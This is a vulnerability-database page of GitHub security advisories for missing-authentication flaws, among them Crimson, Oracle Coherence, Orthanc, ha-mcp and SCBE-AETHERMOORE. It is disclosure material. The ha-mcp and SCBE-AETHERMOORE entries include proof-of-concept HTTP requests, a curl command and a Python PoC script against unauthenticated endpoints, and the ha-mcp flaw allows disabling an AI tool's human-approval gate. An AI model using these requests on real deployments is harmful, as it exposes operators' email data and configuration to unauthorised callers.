Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-Q7H5-V9JQ-WX6V

Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2026-06-02 21:30
VLAI
Details

The default configuration of Crimson 3.1 (Build versions prior to 3119.001) allows a user to be able to read and modify the database without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-27285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-06T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The default configuration of Crimson 3.1 (Build versions prior to 3119.001) allows a user to be able to read and modify the database without authentication.",
  "id": "GHSA-q7h5-v9jq-wx6v",
  "modified": "2026-06-02T21:30:30Z",
  "published": "2022-05-24T17:38:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27285"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7J4-445Q-2C43

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:22Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence.  Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-q7j4-445q-2c43",
  "modified": "2026-07-22T00:31:24Z",
  "published": "2026-07-22T00:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60209"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7J7-7R72-9H66

Vulnerability from github – Published: 2024-11-12 21:30 – Updated: 2024-11-13 18:31
VLAI
Details

A vulnerability in Brocade Fabric OS versions before 9.2.2 could allow man-in-the-middle attackers to conduct remote Service Session Hijacking that may arise from the attacker's ability to forge an SSH key while the Brocade Fabric OS Switch is performing various remote operations initiated by a switch admin.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-322"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T19:15:18Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Brocade Fabric OS versions before 9.2.2 could allow man-in-the-middle attackers to conduct remote Service Session Hijacking that may arise from the attacker\u0027s ability to forge an SSH key while the Brocade Fabric OS Switch is performing various remote operations initiated by a switch admin.",
  "id": "GHSA-q7j7-7r72-9h66",
  "modified": "2024-11-13T18:31:59Z",
  "published": "2024-11-12T21:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7516"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q7XM-VQ7M-W9HH

Vulnerability from github – Published: 2024-02-02 00:31 – Updated: 2024-02-02 00:31
VLAI
Details

MachineSense devices use unauthenticated MQTT messaging to monitor devices and remote viewing of sensor data by users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-49115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-01T23:15:09Z",
    "severity": "HIGH"
  },
  "details": "\n\n\n\n\n\n\nMachineSense devices use unauthenticated MQTT messaging to monitor devices and remote viewing of sensor data by users.\n\n\n\n\n\n\n\n",
  "id": "GHSA-q7xm-vq7m-w9hh",
  "modified": "2024-02-02T00:31:27Z",
  "published": "2024-02-02T00:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49115"
    },
    {
      "type": "WEB",
      "url": "https://machinesense.com/pages/about-machinesense"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-025-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q855-8RH5-JFGQ

Vulnerability from github – Published: 2026-07-07 23:41 – Updated: 2026-07-07 23:41
VLAI
Summary
ha-mcp: Add-on settings and policy routes are reachable without authentication at the bare root path
Details

Summary

In add-on mode, the ha-mcp settings UI routes are mounted both under the MCP secret path and at the bare root of the published port (:9583), so Home Assistant ingress can serve the "Open Web UI" button. The root-mounted routes perform no authentication — no secret, no Origin check, no CSRF token — so any client that can reach :9583 without the MCP secret can invoke them.

Affected configurations

Home Assistant add-on installations (host_network: true with port 9583 published), v7.6.0 and earlier. Docker and standalone installs are not affected — there the settings routes are mounted only under the secret path.

Root-mounted routes in affected versions: tool visibility (/api/settings/tools GET/POST), feature flags (/api/settings/features GET/POST), the auto-backup suite (/api/settings/backups… incl. restore/delete, and /api/settings/backup-config), add-on restart (/api/settings/restart), and — when the opt-in Tool Security Policies feature is enabled — the approval-policy API (/api/policy/config GET/PUT, /api/policy/approve, /api/policy/deny, …).

Impact

Without authentication, a caller that reaches :9583 — a peer on the local network, a reverse proxy/tunnel that forwards the bare root path (e.g. a whole-host Cloudflared config), or a CSRF POST from a page open in a LAN browser — can read or change which MCP tools are exposed, toggle feature flags, list/view/restore/delete backups, restart the add-on, and (with Tool Security Policies enabled) read and rewrite the approval policy, disabling the human-approval gate on gated tools.

There is no access to Home Assistant data, entities, or credentials, and no code execution. All effects are confined to the add-on's own configuration and lifecycle and are recoverable. The primary (same-LAN) vector is within the add-on's documented trusted-network model; remote reachability requires the operator to have reverse-proxied the bare port.

Proof of concept

With the add-on running and reachable on :9583, from any host that can reach the port without the secret:

GET  /api/settings/tools                 -> 200   (read tool config, no auth)
POST /api/settings/tools  {"states":{}}  -> 200   (rewrite tool config, no auth / no CSRF token)
POST /api/settings/restart               -> 200   (restart the add-on)

The MCP endpoint itself remains correctly protected by the secret path.

Patch

Fixed in PR homeassistant-ai/ha-mcp#1508 (merged to master): the root-mounted add-on routes are restricted to Home Assistant ingress, which always originates from the Supervisor (172.30.32.2); every other caller receives 403. Direct and remote access continue to use the settings UI under the MCP secret path (…/<secret>/settings), so the "Open Web UI" button, Cloudflared, and the Webhook Proxy add-on are unaffected.

The fix will ship in the next stable add-on release. If you'd rather have it now, it is already on the dev channel (add-on dev build 7.6.0.dev393 or later) — optional; there's no need to switch channels just for this, it is a fairly low risk surface and only exposes the web UI for addon mode only.

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L = 6.4 (Moderate). Confidentiality impact is None — tool config and backups are not secrets or credentials; integrity and availability impacts are Low — configuration changes and an add-on restart are recoverable.

Credit

Reported by @bharat.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ha-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:41:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nIn add-on mode, the ha-mcp settings UI routes are mounted both under the MCP secret path **and** at the bare root of the published port (`:9583`), so Home Assistant ingress can serve the \"Open Web UI\" button. The root-mounted routes perform no authentication \u2014 no secret, no `Origin` check, no CSRF token \u2014 so any client that can reach `:9583` without the MCP secret can invoke them.\n\n### Affected configurations\n\nHome Assistant **add-on** installations (`host_network: true` with port `9583` published), v7.6.0 and earlier. Docker and standalone installs are **not** affected \u2014 there the settings routes are mounted only under the secret path.\n\nRoot-mounted routes in affected versions: tool visibility (`/api/settings/tools` GET/POST), feature flags (`/api/settings/features` GET/POST), the auto-backup suite (`/api/settings/backups\u2026` incl. restore/delete, and `/api/settings/backup-config`), add-on restart (`/api/settings/restart`), and \u2014 when the opt-in Tool Security Policies feature is enabled \u2014 the approval-policy API (`/api/policy/config` GET/PUT, `/api/policy/approve`, `/api/policy/deny`, \u2026).\n\n### Impact\n\nWithout authentication, a caller that reaches `:9583` \u2014 a peer on the local network, a reverse proxy/tunnel that forwards the bare root path (e.g. a whole-host Cloudflared config), or a CSRF `POST` from a page open in a LAN browser \u2014 can read or change which MCP tools are exposed, toggle feature flags, list/view/restore/delete backups, restart the add-on, and (with Tool Security Policies enabled) read and rewrite the approval policy, disabling the human-approval gate on gated tools.\n\nThere is **no** access to Home Assistant data, entities, or credentials, and no code execution. All effects are confined to the add-on\u0027s own configuration and lifecycle and are recoverable. The primary (same-LAN) vector is within the add-on\u0027s documented trusted-network model; remote reachability requires the operator to have reverse-proxied the bare port.\n\n### Proof of concept\n\nWith the add-on running and reachable on `:9583`, from any host that can reach the port without the secret:\n\n```\nGET  /api/settings/tools                 -\u003e 200   (read tool config, no auth)\nPOST /api/settings/tools  {\"states\":{}}  -\u003e 200   (rewrite tool config, no auth / no CSRF token)\nPOST /api/settings/restart               -\u003e 200   (restart the add-on)\n```\n\nThe MCP endpoint itself remains correctly protected by the secret path.\n\n### Patch\n\nFixed in PR homeassistant-ai/ha-mcp#1508 (merged to `master`): the root-mounted add-on routes are restricted to Home Assistant ingress, which always originates from the Supervisor (`172.30.32.2`); every other caller receives `403`. Direct and remote access continue to use the settings UI under the MCP secret path (`\u2026/\u003csecret\u003e/settings`), so the \"Open Web UI\" button, Cloudflared, and the Webhook Proxy add-on are unaffected.\n\nThe fix will ship in the next stable add-on release. If you\u0027d rather have it now, it is already on the dev channel (add-on dev build ` 7.6.0.dev393` or later) \u2014 optional; there\u0027s no need to switch channels just for this, it is a fairly low risk surface and only exposes the web UI for addon mode only.\n\n### Severity\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` = 6.4 (Moderate). Confidentiality impact is None \u2014 tool config and backups are not secrets or credentials; integrity and availability impacts are Low \u2014 configuration changes and an add-on restart are recoverable.\n\n### Credit\n\nReported by @bharat.",
  "id": "GHSA-q855-8rh5-jfgq",
  "modified": "2026-07-07T23:41:21Z",
  "published": "2026-07-07T23:41:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/homeassistant-ai/ha-mcp/security/advisories/GHSA-q855-8rh5-jfgq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/homeassistant-ai/ha-mcp/pull/1508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/homeassistant-ai/ha-mcp/commit/9f5b085ad4a7b38b067c9da0dc5b45462c4d796e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/homeassistant-ai/ha-mcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ha-mcp: Add-on settings and policy routes are reachable without authentication at the bare root path"
}

GHSA-Q8HH-F4G3-P688

Vulnerability from github – Published: 2023-11-28 21:30 – Updated: 2023-11-28 21:30
VLAI
Details

The FACSChorus workstation operating system does not restrict what devices can interact with its USB ports. If exploited, a threat actor with physical access to the workstation could gain access to system information and potentially exfiltrate data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-29060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1299",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T20:15:07Z",
    "severity": "MODERATE"
  },
  "details": "The FACSChorus workstation operating system does not restrict what devices can interact with its USB ports. If exploited, a threat actor with physical access to the workstation could gain access to system information and potentially exfiltrate data.",
  "id": "GHSA-q8hh-f4g3-p688",
  "modified": "2023-11-28T21:30:25Z",
  "published": "2023-11-28T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29060"
    },
    {
      "type": "WEB",
      "url": "https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/bd-facschorus-software"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q8JX-8WR3-GV52

Vulnerability from github – Published: 2023-11-06 06:30 – Updated: 2025-02-27 00:30
VLAI
Details

Insufficient Verification of Data Authenticity vulnerability in Mitsubishi Electric Corporation MELSEC-F Series main modules and MELSEC iQ-F Series CPU modules allows a remote unauthenticated attacker to reset the memory of the products to factory default state and cause denial-of-service (DoS) condition on the products by sending specific packets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-4699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-06T06:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "Insufficient Verification of Data Authenticity vulnerability in Mitsubishi Electric Corporation MELSEC-F Series main modules and MELSEC iQ-F Series CPU modules allows a remote unauthenticated attacker to reset the memory of the products to factory default state and cause denial-of-service (DoS) condition on the products by sending specific packets.",
  "id": "GHSA-q8jx-8wr3-gv52",
  "modified": "2025-02-27T00:30:25Z",
  "published": "2023-11-06T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4699"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU94620134"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-306-03"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-013_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q8WV-5H5R-52RP

Vulnerability from github – Published: 2025-02-13 03:30 – Updated: 2025-02-13 03:30
VLAI
Details

Orthanc server prior to version 1.5.8 does not enable basic authentication by default when remote access is enabled. This could result in unauthorized access by an attacker.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-13T02:15:29Z",
    "severity": "CRITICAL"
  },
  "details": "Orthanc server prior to version 1.5.8 does not enable basic authentication by default when remote access is enabled. This could result in unauthorized access by an attacker.",
  "id": "GHSA-q8wv-5h5r-52rp",
  "modified": "2025-02-13T03:30:43Z",
  "published": "2025-02-13T03:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0896"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-037-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q986-4X7X-GX39

Vulnerability from github – Published: 2026-09-25 21:48 – Updated: 2026-09-25 21:48
VLAI
Summary
SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests
Details

Summary

The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.

Details

scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):

@app.post("/api/ops/check-email")
async def ops_check_email():
    script = ROOT / "scripts" / "apollo" / "email_reader.py"
    result = await asyncio.to_thread(
        _run_subprocess,
        [sys.executable, str(script)],
        timeout=30,
    )
    return {
        "output": result.get("stdout", "")[:2000],
        ...
    }

No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.

The server is bound to all interfaces (line 4065/4070):

uvicorn.run(app, host="0.0.0.0", port=port)   # default port 8100

CORS middleware is configured to allow any origin (lines 486–492):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    ...
)

When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):

# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.

With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.

Complete data-flow path:

  1. api_server.py:4065+4070 — server starts on 0.0.0.0:8100
  2. api_server.py:486–492 — CORS allow_origins=["*"] permits cross-origin requests
  3. api_server.py:3008 — POST /api/ops/check-email registered without auth
  4. api_server.py:3011–3023 — _run_subprocess([sys.executable, str(script)]) invoked; stdout captured
  5. email_reader.py:29–34 — connector env file loaded, credentials extracted
  6. email_reader.py:378–394 — IMAP login using PROTONMAIL_BRIDGE_PASSWORD / GMAIL_APP_PASSWORD
  7. email_reader.py:273–299 — RFC822 messages fetched; sender, subject, snippet printed to stdout
  8. api_server.py:3023 — stdout[:2000] returned in JSON response to caller

Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.

PoC

Prerequisites:

  • Docker installed on the attacker or test machine.
  • Repository source available under repo/ within the build context.

Step 1 — Build the Docker image:

docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .

The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.

Step 2 — Start the container:

docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser

Step 3 — Run the PoC script:

python3 vuln-001/poc.py --host 127.0.0.1 --port 8100

Or send the request manually with no authentication headers:

curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
  -H 'Content-Type: application/json' \
  -d '{}'

Expected result (no credentials configured):

{
  "output": "APOLLO EMAIL READER\n============================================================\n  [ProtonMail] No PROTONMAIL_BRIDGE_PASSWORD set\n  [Gmail] No GMAIL_APP_PASSWORD set\n\nNo emails found.\n",
  "exit_code": 0,
  "errors": null
}

HTTP status 200 is returned with no 401 or 403, and the subprocess stdout appears in the response. In a production deployment with PROTONMAIL_BRIDGE_PASSWORD or GMAIL_APP_PASSWORD set, the response would contain real email metadata (senders, subjects, body snippets).

Dynamic test result (Phase 2):

The Phase 2 dynamic test confirmed HTTP 200 with the APOLLO EMAIL READER banner in the response body. Server access log showed "POST /api/ops/check-email HTTP/1.1" 200 OK from an unauthenticated source. The subprocess was executed without any authentication gate being triggered.

Remediation:

Add a mandatory API-key dependency to all /api/ops/* routes:

-from fastapi import FastAPI, HTTPException, Query, Request
+from fastapi import Depends, FastAPI, Header, HTTPException, Query, Request, status

+def require_ops_api_key(x_api_key: Optional[str] = Header(default=None)) -> None:
+    expected = os.environ.get("AETHERBROWSER_OPS_API_KEY", "").strip()
+    if not expected:
+        raise HTTPException(
+            status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+            detail="ops endpoints disabled: AETHERBROWSER_OPS_API_KEY is not configured",
+        )
+    if not x_api_key or not hmac.compare_digest(x_api_key, expected):
+        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="invalid ops API key")

-@app.post("/api/ops/check-email")
+@app.post("/api/ops/check-email", dependencies=[Depends(require_ops_api_key)])
 async def ops_check_email():

Additionally, the server should default to 127.0.0.1 instead of 0.0.0.0, and stdout from operational subprocesses should never be returned verbatim to callers.

Impact

An unauthenticated remote attacker who can reach port 8100 of a deployed SCBE-AETHERMOORE instance can:

  1. Exfiltrate operator email metadata: sender addresses, email subjects, and body snippets from the operator's ProtonMail or Gmail inbox are disclosed in the response.
  2. Enumerate mail configuration: even without active credentials, the API reveals which mail providers are configured and prints diagnostic output from internal tooling.
  3. Trigger repeated IMAP sessions: repeated calls to the endpoint cause repeated IMAP logins using the stored credentials, potentially generating account alerts or exhausting connection limits.

The vulnerability affects any deployment where scripts/aetherbrowser/api_server.py is running and reachable from an untrusted network. Because the server binds to 0.0.0.0 by default with wildcard CORS, cloud deployments and developer machines with exposed ports are directly affected. No credentials, tokens, or prior knowledge of the application are required by the attacker.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: Unauthenticated /api/ops/check-email endpoint
# Reproduces CWE-306 (Missing Authentication for Critical Function) in
# SCBE-AETHERMOORE api_server.py v4.2.1
#
# Build context: pypiAi_1296_issdandavis__SCBE-AETHERMOORE/ (parent of vuln-001/)
# Build:  docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .
# Run:    docker run --rm -p 8100:8100 vuln001-aetherbrowser

FROM python:3.11-slim

WORKDIR /app

# Install only the packages required for api_server.py to start.
# All other imports (asyncio, subprocess, pathlib, etc.) are stdlib.
RUN pip install --no-cache-dir \
    "fastapi>=0.100.0" \
    "uvicorn[standard]>=0.27.0" \
    "pydantic>=2.0.0"

# Copy the repository source.
# The build context is the report root (parent directory of vuln-001/).
COPY repo/ /app/

EXPOSE 8100

# Start the AetherBrowser API server on all interfaces at port 8100.
# This replicates the production start command documented in api_server.py line 6-8.
CMD ["python", "scripts/aetherbrowser/api_server.py"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email

CWE-306 — Missing Authentication for Critical Function
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  (7.5 High)

Target: scripts/aetherbrowser/api_server.py (SCBE-AETHERMOORE v4.2.1)

This PoC demonstrates that:
  1. POST /api/ops/check-email is accessible without any authentication token.
  2. The server responds with HTTP 200 instead of 401/403.
  3. The email-reading subprocess (email_reader.py) is executed and its stdout
     is returned verbatim in the JSON response — confirming the unauthenticated
     code path reaches the sensitive subprocess.

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 8100]
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request


TIMEOUT = 10


def wait_for_server(host: str, port: int, max_wait: int = 30) -> bool:
    """Poll the health endpoint until the server is ready."""
    url = f"http://{host}:{port}/api/health"
    deadline = time.time() + max_wait
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=2) as resp:
                if resp.status < 500:
                    return True
        except Exception:
            pass
        time.sleep(1)
    return False


def send_unauthenticated_request(host: str, port: int) -> dict:
    """Send POST /api/ops/check-email with NO authentication headers."""
    url = f"http://{host}:{port}/api/ops/check-email"
    req = urllib.request.Request(
        url,
        data=b"{}",
        method="POST",
        headers={"Content-Type": "application/json"},
        # NOTE: No Authorization header, no X-API-Key, no session cookie.
    )
    try:
        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return {"status": resp.status, "body": body}
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return {"status": exc.code, "body": body}
    except Exception as exc:
        return {"status": -1, "body": str(exc)}


def main() -> int:
    parser = argparse.ArgumentParser(description="VULN-001 PoC — unauthenticated check-email")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8100)
    args = parser.parse_args()

    print("=" * 60)
    print("VULN-001 PoC: Unauthenticated /api/ops/check-email")
    print("=" * 60)
    print(f"Target: http://{args.host}:{args.port}/api/ops/check-email")
    print()

    # Wait for the server to be ready.
    print("[*] Waiting for server to become ready ...")
    if not wait_for_server(args.host, args.port):
        print("[!] Server did not become ready within 30 s — check the container")
        return 1
    print("[+] Server is up")
    print()

    # Send the unauthenticated exploit request.
    print("[*] Sending unauthenticated POST /api/ops/check-email ...")
    result = send_unauthenticated_request(args.host, args.port)
    status = result["status"]
    body = result["body"]

    print(f"[*] HTTP status: {status}")
    print()
    print("[*] Response body (first 1500 chars):")
    print("-" * 60)
    print(body[:1500])
    print("-" * 60)
    print()

    # Parse the JSON response if possible.
    output_field = ""
    try:
        parsed = json.loads(body)
        output_field = parsed.get("output", "")
    except Exception:
        output_field = ""

    # Determine pass/fail.
    # PASS criteria:
    #   (a) HTTP 200 — the request was NOT rejected with a 401/403.
    #   (b) The response body contains the email-reader banner string
    #       "APOLLO EMAIL READER", proving the subprocess was invoked.
    # Note: Without real IMAP credentials the reader will print the banner
    # and report "No PROTONMAIL_BRIDGE_PASSWORD set" / "No GMAIL_APP_PASSWORD set".
    # With real credentials it would return live email metadata.

    crit_auth = (status == 200)
    crit_subprocess = ("APOLLO EMAIL READER" in output_field or "APOLLO EMAIL READER" in body)

    print("[*] Criteria evaluation:")
    print(f"    (a) HTTP 200 returned (no auth gate): {'PASS' if crit_auth else 'FAIL'} (got {status})")
    print(f"    (b) Subprocess executed (banner in response): {'PASS' if crit_subprocess else 'FAIL'}")
    print()

    if crit_auth and crit_subprocess:
        print("[PASS] Vulnerability confirmed: POST /api/ops/check-email")
        print("       is reachable without authentication and the email-reading")
        print("       subprocess is executed, returning its output to the caller.")
        return 0
    elif crit_auth and not crit_subprocess:
        # Still a valid PASS for the auth-bypass aspect; subprocess may have
        # errored out but the missing authentication is proven.
        print("[PASS] Auth bypass confirmed: HTTP 200 without credentials.")
        print("       Subprocess output not captured (may have crashed), but")
        print("       the endpoint is unauthenticated — CWE-306 is confirmed.")
        return 0
    else:
        print("[FAIL] Could not confirm the vulnerability.")
        print(f"       HTTP status was {status} — expected 200.")
        return 2


if __name__ == "__main__":
    sys.exit(main())
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scbe-aethermoore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.2"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-25T21:48:03Z",
    "nvd_published_at": "2026-09-25T21:17:23Z",
    "severity": "HIGH"
  },
